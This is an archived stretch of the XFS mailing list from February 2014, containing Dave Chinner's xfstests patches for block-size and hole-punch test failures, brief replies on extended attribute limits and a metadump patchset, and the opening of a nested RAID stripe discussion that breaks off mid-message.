1391385375-04bdf0121eb5070001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 6uEutTbHXDx7kXqO for ; Sun, 02 Feb 2014 15:56:15 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Am8GALbZ7lJ5LGaB/2dsb2JhbABagwzAJRd0gwI7gQIDiDicIrArjyaEIgSqS4NBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Feb 2014 10:26:11 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WA6tU-0005p3-RO for xfs@oss.sgi.com; Mon, 03 Feb 2014 10:56:08 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WA6tU-0003N0-Qc for xfs@oss.sgi.com; Mon, 03 Feb 2014 10:56:08 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/4] xfstests: xfs and hole punch test fixes Date: Mon, 3 Feb 2014 10:56:01 +1100 X-ASG-Orig-Subj: [PATCH 0/4] xfstests: xfs and hole punch test fixes Message-Id: <1391385365-12790-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1391385375 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144767 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Folks, The first couple of patches fix failures in XFS tests that occur with different configurations and block sizes. The last two patches fix failures of the hole punch tests on filesystems that have a block size other than 4k. It does this by a combination of filtering and changing the way we detect failures on the block size sensitive part of the test. Cheers, Dave. From dave@fromorbit.com Sun Feb 2 17:56:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 353187FAA for ; Sun, 2 Feb 2014 17:56:18 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id DFF1E304043 for ; Sun, 2 Feb 2014 15:56:17 -0800 (PST) X-ASG-Debug-ID: 1391385371-04bdf0121eb5060003-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id zQAjrAg0DtfViXEH for ; Sun, 02 Feb 2014 15:56:16 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAGALbZ7lJ5LGaB/2dsb2JhbABagwzAJRd0giUBAQVWMwgYMTkDGxmIBMw2F48mhCIEqkuDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Feb 2014 10:26:11 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WA6tU-0005p5-Sr for xfs@oss.sgi.com; Mon, 03 Feb 2014 10:56:08 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WA6tU-0003N8-S0 for xfs@oss.sgi.com; Mon, 03 Feb 2014 10:56:08 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/4] xfs/291: fix spurious ENOSPC errors Date: Mon, 3 Feb 2014 10:56:03 +1100 X-ASG-Orig-Subj: [PATCH 2/4] xfs/291: fix spurious ENOSPC errors Message-Id: <1391385365-12790-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1391385365-12790-1-git-send-email-david@fromorbit.com> References: <1391385365-12790-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1391385376 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144767 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfs/291 tries to fill the filesystem almost full, so if the log size changes with mkfs defaults then it's free space calculations are not longer valid and so it throws lots of ENOSPC errors during a run. This is not fatal for this test, but it does increase the runtime of it and fill the 291.full file with unnecessary errors. The number of frag files it creates is also too many for a 512 byte inode filesystem (by about 900) so reduce the number of inodes initially created so the test works ofr 512 byte inodes. With 512 byte inodes, the free space histogram looks like this after the frag phase: from to extents blocks pct 1 1 10730 10730 100.00 And for 256 byte inodes: from to extents blocks pct 1 1 12388 12388 100.00 So these changes do not affect the intended operation of the test. Signed-off-by: Dave Chinner --- tests/xfs/291 | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/tests/xfs/291 b/tests/xfs/291 index d5a9b08..0f3f051 100755 --- a/tests/xfs/291 +++ b/tests/xfs/291 @@ -46,7 +46,7 @@ _supported_os IRIX Linux # real QA test starts here rm -f $seqres.full _require_scratch -_scratch_mkfs_xfs -n size=16k -d size=128m >> $seqres.full 2>&1 +_scratch_mkfs_xfs -n size=16k -l size=5m -d size=128m >> $seqres.full 2>&1 _scratch_mount # First we cause very badly fragmented freespace, then @@ -54,13 +54,16 @@ _scratch_mount # should come out very fragmented as a result # Step 1: Cause badly fragmented free space +# +# XXX: this needs to be factored to match what generic/204 does to support +# different inode sizes without ENOSPC mkdir $SCRATCH_MNT/fragdir -for I in `seq 0 27200`; do +for I in `seq 0 26200`; do (echo data > $SCRATCH_MNT/fragdir/f$I) >> $seqres.full 2>&1 done sync -for I in `seq 0 2 27200`; do +for I in `seq 0 2 26200`; do rm -f $SCRATCH_MNT/fragdir/f$I >> $seqres.full 2>&1 done sync -- 1.8.4.rc3 From dave@fromorbit.com Sun Feb 2 17:56:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DEC7F7FD1 for ; Sun, 2 Feb 2014 17:56:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A0CBA8F8033 for ; Sun, 2 Feb 2014 15:56:18 -0800 (PST) X-ASG-Debug-ID: 1391385375-04bdf0121eb5070002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id VGxtiHk7NGYUWf3h for ; Sun, 02 Feb 2014 15:56:16 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAGALbZ7lJ5LGaB/2dsb2JhbABagwzAJRd0giUBAQUnLzMIGDE5AxsZiATMNheTSASieYdSg0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Feb 2014 10:26:11 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WA6tU-0005p6-TU for xfs@oss.sgi.com; Mon, 03 Feb 2014 10:56:08 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WA6tU-0003ND-Sd for xfs@oss.sgi.com; Mon, 03 Feb 2014 10:56:08 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/4] generic: _test_generic_punch not blocksize clean Date: Mon, 3 Feb 2014 10:56:04 +1100 X-ASG-Orig-Subj: [PATCH 3/4] generic: _test_generic_punch not blocksize clean Message-Id: <1391385365-12790-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1391385365-12790-1-git-send-email-david@fromorbit.com> References: <1391385365-12790-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1391385376 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144767 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 From: Dave Chinner Test 17 of _test_generic_punch uses the filesystem block size to do a sub-single block punch. The result of this is a files of different sizes and md5sums when the filesystem block size changes. However the only difference in file contents if the length of the file - the zeroed region is always in the same place. Hence we can use hexdump rather than md5sum to check the output remains consistent and the hole remains in the correct place despite the changing block sizes. Fix up all the golden output for all the tests that use this function, too. Signed-off-by: Dave Chinner --- common/punch | 12 +++++++++--- tests/generic/255.out | 28 ++++++++++++++++++++++++---- tests/generic/316.out | 28 ++++++++++++++++++++++++---- tests/xfs/242.out | 7 ++++++- tests/xfs/252.out | 28 ++++++++++++++++++++++++---- 5 files changed, 87 insertions(+), 16 deletions(-) diff --git a/common/punch b/common/punch index a49638c..4ed8406 100644 --- a/common/punch +++ b/common/punch @@ -516,6 +516,12 @@ _test_generic_punch() rm -f $testfile.2 _md5_checksum $testfile + # different file sizes mean we can't use md5sum to check the hole is + # valid. Hence use hexdump to dump the contents and chop off the last + # line of output that indicates the file size. We also have to fudge + # the extent size as that will change with file size, too - that's what + # the sed line noise does - it will always result in an output of [0..7] + # so it matches 4k block size... echo " 17. data -> hole in single block file" if [ "$remove_testfile" ]; then rm -f $testfile @@ -524,8 +530,8 @@ _test_generic_punch() $XFS_IO_PROG -f -c "truncate $block_size" \ -c "pwrite 0 $block_size" $sync_cmd \ -c "$zero_cmd 128 128" \ - -c "$map_cmd -v" $testfile | $filter_cmd + -c "$map_cmd -v" $testfile | $filter_cmd | \ + sed -e "s/\.\.[0-9]*\]/..7\]/" [ $? -ne 0 ] && die_now - _md5_checksum $testfile - + od -x $testfile | head -n -1 } diff --git a/tests/generic/255.out b/tests/generic/255.out index 2ce882b..cb9fdca 100644 --- a/tests/generic/255.out +++ b/tests/generic/255.out @@ -72,7 +72,12 @@ eecb7aa303d121835de05028751d301c eecb7aa303d121835de05028751d301c 17. data -> hole in single block file 0: [0..7]: extent -13535fd4d496bf0b74bb2335aa4d1b31 +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* 1. into a hole daa100df6e6711906b61c9ab5aa16032 2. into allocated space @@ -146,7 +151,12 @@ eecb7aa303d121835de05028751d301c eecb7aa303d121835de05028751d301c 17. data -> hole in single block file 0: [0..7]: extent -13535fd4d496bf0b74bb2335aa4d1b31 +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* 1. into a hole 0: [0..7]: extent 1: [8..39]: hole @@ -225,7 +235,12 @@ eecb7aa303d121835de05028751d301c eecb7aa303d121835de05028751d301c 17. data -> hole in single block file 0: [0..7]: extent -13535fd4d496bf0b74bb2335aa4d1b31 +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* 1. into a hole 0: [0..7]: extent 1: [8..39]: hole @@ -304,4 +319,9 @@ eecb7aa303d121835de05028751d301c eecb7aa303d121835de05028751d301c 17. data -> hole in single block file 0: [0..7]: extent -13535fd4d496bf0b74bb2335aa4d1b31 +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* diff --git a/tests/generic/316.out b/tests/generic/316.out index 4bb11ec..222e601 100644 --- a/tests/generic/316.out +++ b/tests/generic/316.out @@ -36,7 +36,12 @@ eecb7aa303d121835de05028751d301c eecb7aa303d121835de05028751d301c 17. data -> hole in single block file 0: [0..7]: extent -13535fd4d496bf0b74bb2335aa4d1b31 +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* 1. into a hole daa100df6e6711906b61c9ab5aa16032 2. into allocated space @@ -74,7 +79,12 @@ eecb7aa303d121835de05028751d301c eecb7aa303d121835de05028751d301c 17. data -> hole in single block file 0: [0..7]: extent -13535fd4d496bf0b74bb2335aa4d1b31 +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* 1. into a hole 0: [0..7]: extent 1: [8..39]: hole @@ -118,7 +128,12 @@ eecb7aa303d121835de05028751d301c eecb7aa303d121835de05028751d301c 17. data -> hole in single block file 0: [0..7]: extent -13535fd4d496bf0b74bb2335aa4d1b31 +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* 1. into a hole 0: [0..7]: extent 1: [8..39]: hole @@ -162,4 +177,9 @@ eecb7aa303d121835de05028751d301c eecb7aa303d121835de05028751d301c 17. data -> hole in single block file 0: [0..7]: extent -13535fd4d496bf0b74bb2335aa4d1b31 +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* diff --git a/tests/xfs/242.out b/tests/xfs/242.out index 72026a3..a516c23 100644 --- a/tests/xfs/242.out +++ b/tests/xfs/242.out @@ -74,4 +74,9 @@ eecb7aa303d121835de05028751d301c eecb7aa303d121835de05028751d301c 17. data -> hole in single block file 0: [0..7]: data -13535fd4d496bf0b74bb2335aa4d1b31 +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* diff --git a/tests/xfs/252.out b/tests/xfs/252.out index 3caf9d6..539c8a4 100644 --- a/tests/xfs/252.out +++ b/tests/xfs/252.out @@ -72,7 +72,12 @@ eecb7aa303d121835de05028751d301c eecb7aa303d121835de05028751d301c 17. data -> hole in single block file 0: [0..7]: data -13535fd4d496bf0b74bb2335aa4d1b31 +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* 1. into a hole daa100df6e6711906b61c9ab5aa16032 2. into allocated space @@ -146,7 +151,12 @@ eecb7aa303d121835de05028751d301c eecb7aa303d121835de05028751d301c 17. data -> hole in single block file 0: [0..7]: data -13535fd4d496bf0b74bb2335aa4d1b31 +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* 1. into a hole 0: [0..7]: data 1: [8..39]: hole @@ -225,7 +235,12 @@ eecb7aa303d121835de05028751d301c eecb7aa303d121835de05028751d301c 17. data -> hole in single block file 0: [0..7]: data -13535fd4d496bf0b74bb2335aa4d1b31 +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* 1. into a hole 0: [0..7]: data 1: [8..39]: hole @@ -304,4 +319,9 @@ eecb7aa303d121835de05028751d301c eecb7aa303d121835de05028751d301c 17. data -> hole in single block file 0: [0..7]: data -13535fd4d496bf0b74bb2335aa4d1b31 +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* -- 1.8.4.rc3 From lists@colorremedies.com Sun Feb 2 19:16:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B56B27F85 for ; Sun, 2 Feb 2014 19:16:07 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9685C304043 for ; Sun, 2 Feb 2014 17:16:04 -0800 (PST) X-ASG-Debug-ID: 1391390162-04cb6c6de1a7300001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id Z2eECuuSJz3KB9Dp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 17:16:03 -0800 (PST) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-50-183-15-223.hsd1.co.comcast.net ([50.183.15.223]:50046 helo=[192.168.1.120]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WA88m-000tYt-Tr; Sun, 02 Feb 2014 18:16:01 -0700 Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: Extended attributes limit in Linux From: Chris Murphy X-ASG-Orig-Subj: Re: Extended attributes limit in Linux In-Reply-To: <14FE2575-4C84-43B8-9992-F91ABE2B6F26@gmail.com> Date: Sun, 2 Feb 2014 18:15:59 -0700 Cc: xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <83F9F221-9387-47D5-B67C-E9252056E408@colorremedies.com> References: <52EB64DC.4020603@oracle.com> <1391165083.4275.7.camel@ubuntu> <52EB960D.607@oracle.com> <1391172723.4275.11.camel@ubuntu> <52EBA783.1080801@oracle.com> <1391178074.4275.19.camel@ubuntu> <52EBB431.50301@oracle.com> <6C94A326-DADE-4A32-97F6-AE84E9F57777@gmail.com> <1D87A7C9-988F-4F61-A577-67300DAF2554@dubeyko.com> <14FE2575-4C84-43B8-9992-F91ABE2B6F26@gmail.com> To: Sun_Blood X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1391390162 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA298e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144768 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 BSF_SC7_SA298e Custom Rule SA298e On Feb 2, 2014, at 7:33 AM, Sun_Blood wrote: > I will make a bug report for rsync also that it should not try to copy = files with EA bigger then the destination can handle. But it would be = great if XFS could handle this files and be fully compatible with OS X = backups. What application(s) are creating such files on OS X? Or how are they = coming to have such large extended attributes? Chris Murphy= From david@fromorbit.com Sun Feb 2 21:19:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 474067F5E for ; Sun, 2 Feb 2014 21:19:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DF7B4AC002 for ; Sun, 2 Feb 2014 19:19:35 -0800 (PST) X-ASG-Debug-ID: 1391397571-04bdf0121fb8fc0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id wAFQ6fSbg0mbfc8V for ; Sun, 02 Feb 2014 19:19:31 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApEJACcK71J5LGaB/2dsb2JhbABZgww4uRuFUoEBF3SCJQEBAQQBAQE3HBgbCAMYCSUPBRMSAzSIBA7MWBaMdoIEFoQiBJgpkiKDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 03 Feb 2014 13:49:30 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WAA4E-0006BY-Vw for xfs@oss.sgi.com; Mon, 03 Feb 2014 14:19:27 +1100 Date: Mon, 3 Feb 2014 14:19:26 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: Re: [PATCH 0/5] metadump: discontiguous directory block support Message-ID: <20140203031926.GP13997@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/5] metadump: discontiguous directory block support References: <1390472635-17225-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1390472635-17225-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1391397571 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144771 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- ping? On Thu, Jan 23, 2014 at 09:23:50PM +1100, Dave Chinner wrote: > Hi folks, > > In making xfs_repair handle discontiguous directory blocks properly, > it uncovered the fact that xfs_metadump has never handled > discontiguous directory blocks properly. It doesn't handle > discontiguous block format directories, and there are a couple of > other cases where it is just says "too hard" and gives up, leading > to un-obfuscated, corrupt or missing directory blocks in the > metadump image. xfs/291 on CRC enabled filesystems was causing all > three of these conditions to occur. > > This patchset fixes metadump to fully support all forms of > discontiguous directory blocks. It changes the obfuscation code from > reading and extent at a time and trying to slice and dice the > objects within it - which will never work for objects that need CRC > recalculation as a result of obfuscation - to dealing with > individual objects. This does affect IO patterns somewhat - single > large contiguous IOs turn into multiple smaller sequential IOs - but > it means that we can use the object verifiers to do CRC > recalculation correctly. > > It also means we can walk the extent tree to gather discontiguous > extents into a single buffer to build an object fom multiple IOs. > This is what all the other directory block IO does, and we need to > do it here too. > > The result is that the code is simpler and more obvious in what it > does - the "walk over a large extent" code is generic rather than > object specific, and the discontiguous block code is separated from > the single block object code. Hence both cases are clearer and > easier to understand. > > And it works, unlike the old code. > > FWIW, with this fixed and xfs/291 passing, the only remaining > outstanding work that is blocking a 3.2.0 release is to trap IO > verifier errors in repair so we repair/rebuild objects based on CRC > errors. > > Comments, flames, thoughts all welcome. > > Cheers, > > Dave. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > -- Dave Chinner david@fromorbit.com From stan@hardwarefreak.com Sun Feb 2 22:39:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B12B57F62 for ; Sun, 2 Feb 2014 22:39:25 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 772C0304043 for ; Sun, 2 Feb 2014 20:39:22 -0800 (PST) X-ASG-Debug-ID: 1391402357-04bdf0121dba730001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id TZaFHO4nsd0iC2PB for ; Sun, 02 Feb 2014 20:39:18 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 88ED56C12C; Sun, 2 Feb 2014 22:39:17 -0600 (CST) Message-ID: <52EF1D76.6070302@hardwarefreak.com> Date: Sun, 02 Feb 2014 22:39:18 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , Chris Murphy CC: xfs Subject: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. References: <7A732267-B34F-4286-9B49-3AF8767C0B89@colorremedies.com> <52ED4143.6090303@hardwarefreak.com> <52ED6AAF.6030703@hardwarefreak.com> <98961D3F-769D-44A9-98A8-FC7867893138@colorremedies.com> <20140202213030.GQ2212@dastard> X-ASG-Orig-Subj: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <20140202213030.GQ2212@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1391402358 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/2/2014 3:30 PM, Dave Chinner wrote: > On Sun, Feb 02, 2014 at 11:09:11AM -0700, Chris Murphy wrote: >> On Feb 1, 2014, at 2:44 PM, Stan Hoeppner >> wrote: >>> On 2/1/2014 2:55 PM, Chris Murphy wrote: >>>> On Feb 1, 2014, at 11:47 AM, Stan Hoeppner >>>> wrote: >>> When nesting stripes, the chunk size of the outer stripe is >>> -always- equal to the stripe width of each inner striped array, >>> as I clearly demonstrated earlier: >> >> Except when it's hardware raid6, and software raid0, and the user >> doesn't know they need to specify the chunk size in this manner. >> And instead they use the mdadm default. What you're 